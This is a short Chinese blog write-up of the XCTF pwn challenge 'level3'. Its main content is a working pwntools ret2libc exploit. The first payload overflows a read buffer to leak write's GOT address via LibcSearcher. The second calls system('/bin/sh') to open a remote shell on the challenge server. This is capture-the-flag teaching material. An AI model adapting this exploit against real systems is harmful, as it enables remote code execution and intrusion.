攻防世界(pwn) level3

在这里插入图片描述先下载附件;,这个附件压缩包里面有好几层,挨着打开就好了在这里插入图片描述

在这里插入图片描述
在这里插入图片描述题目没有提供 System函数 和 bin/sh 字符串 来供我们调用;

可以突破的点只有read函数。通过覆盖返回地址,执行两次main函数。第一次泄漏write函数的地址,第二次执行system函数。

from pwn import*
from LibcSearcher import*
p=remote('111.200.241.244','31433')
elf=ELF("1")
main_addr=0x8048484
write_plt=elf.plt["write"]
write_got=elf.got["write"]
payload = 'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendlineafter("Input:\n",payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
base=write_addr-libc.dump('write')
system_addr = base+libc.dump('system')
bin_sh_addr=base+libc.dump('str_bin_sh')
payload = 'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendlineafter("Input:\n",payload)
p.interactive()

EXP中的语句就不解释了,有问题欢迎留言 ❄

猜你喜欢

转载自blog.csdn.net/weixin_45556441/article/details/115121841